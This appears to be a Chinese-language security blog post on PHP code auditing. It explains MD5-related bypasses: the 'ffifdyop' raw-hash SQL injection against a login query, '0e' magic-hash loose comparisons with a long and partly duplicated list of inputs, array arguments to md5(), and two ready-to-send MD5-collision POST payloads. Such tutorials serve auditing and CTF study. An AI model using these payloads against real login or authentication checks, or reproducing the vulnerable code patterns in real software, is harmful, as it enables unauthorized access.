PHP代码审计-MD5相关绕过

网络安全·代码审计 · 2023-09-30 · 867 人浏览

一、password=md5($pass,true)绕过

这个是只能用于基于MySQL数据库进行的登录判断SQL注入绕过。这个问题的发生是在这个场景下。

场景:

$pass = md5($_POST['pass'],true);
$sql = "SELECT * FROM admin where pass='$pass'";
$result = $conn->query($sql);
if ($result->num_rows != 0)
{
    echo "success";
    //后续操作
}
else
{
    echo "password error or user not found!";
}

这个场景看上去很安全是吧?直接将用户提交的密码字符串经过MD5加密后直接拼接在SQL语句中,按照常规思想确实没有办法进行SQL注入,但是这里我们可以构造一个十分巧妙的输入来使where子句永真。

md5($pass, true)函数

这个函数会返回$pass的MD5原始16字符二进制格式。这也是我们这次绕过的原理。

ffifdyop字符串

这是一个神奇的字符串,他的MD5原始16字符二进制格式打印出来开头为'or'6

$s = "ffifdyop";
echo "String:".$s."<br />";
echo 'md5($s,true): '.md5($s,true)."<br />";
echo 'md5($s,false): '.md5($s)."<br />";

结果:

String:ffifdyop  
md5($s,true): 'or'6�]��!r,��b  
md5($s,false): 276f722736c95d99e921722cf9ed621c

可以看到它的字符串解码出来是是以'or'6开头,这会导致场景中的SQL语句变为:

select * from admin where pass=''or'6�]��!r,��b'

在MySQL中,以数字开头(除0外)的字符串会被视为整型数,这里就相当于执行了下列的SQL语句:

select * from admin where pass=''or 1

从而使得where子句永真。

二、MD5弱比较

$str1 = "a";
echo md5($str1);    //0cc175b9c0f1b6a831c399e269772661
var_dump(md5($str1) == '0');    //bool(false)
---------------------------------------------------------
$str2 = "s224534898e";
echo md5($str2);    //0e420233178946742799316739797882
var_dump(md5($str2) == '0');    //bool(true)
---------------------------------------------------------
$str3 = 'a1b2edaced';
echo md5($str3);    //0e45ea817f33691a3dd1f46af81166c4bool
var_dump(md5($str3) == '0');    //bool(false)
---------------------------------------------------------
var_dump('0e111111111111' == '0');    //bool(true) 

本质上是科学计数法与0的比较,0e开头的、后面为数字的字符串会被当做科学计数法进行解析,0的不论多少次幂都为0。

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

$a==md5($a)

0e215962017
0e291242476940776845150308577824

三、PHP MD5函数报错

这个一般出现形式为:

if($_POST['s1'] !== $_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2']))
{
    echo $flag;
}

由于大部分PHP函数都不能处理数组参数,md5()函数也是其中之一,当参数为数组时,它会返回NULL,使得===成立。

四、MD5强绕过

算是上一种的增强型,这里就要使用MD5碰撞的方法来绕过了。

if((string)$_POST['s1'] !== (string)$_POST['s2'] && md5($_POST['s1']) === md5($_POST['s2']))
{
    echo $flag;
}

调用MD5碰撞\fastcoll.exe来快速生成两个内容不一样,但MD5值相同的文件。

放两个payload:
使用POST发送数据时,要加上Content-Type: application/x-www-form-urlencoded

abcd%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%94%E2+%BA%BE1%9F%1F.%09aa%9Dq%CF%85%F9%D3%DA%92%1F%BF%E9lO%E6%7ERN+2%0F%F1%D1%B1%BE%DC%234%BC%EBE%C0%D3%84%A1%D4V%C5%83nI%1Eu%3D%98%0C%FFR%94%A9%89%03%BD%F6%C6%C5%FF3yUyQ%99%E7%DBM%5D%A9%D6Z%1E%AF%283F%3E%E2%D3Z%EE6%EC%87%E2%E7%AEF%26%95%F4X%FC%8F%8AO%3D%8Fy%60%C5j8%A2%F1X%C1%E4%FC%25%82%E0t%F87%F4%85%1E

abcd%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%94%E2+%BA%BE1%9F%1F.%09aa%9Dq%CF%85%F9%D3%DA%12%1F%BF%E9lO%E6%7ERN+2%0F%F1%D1%B1%BE%DC%234%BC%EBE%C0%D3%84%21%D5V%C5%83nI%1Eu%3D%98%0C%FFR%14%A9%89%03%BD%F6%C6%C5%FF3yUyQ%99%E7%DBM%5D%A9%D6Z%1E%AF%A83F%3E%E2%D3Z%EE6%EC%87%E2%E7%AEF%26%95%F4X%FC%8F%8AO%3D%8Fy%E0%C4j8%A2%F1X%C1%E4%FC%25%82%E0tx7%F4%85%1E
PHP 绕过技巧 代码审计 MD5 867 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao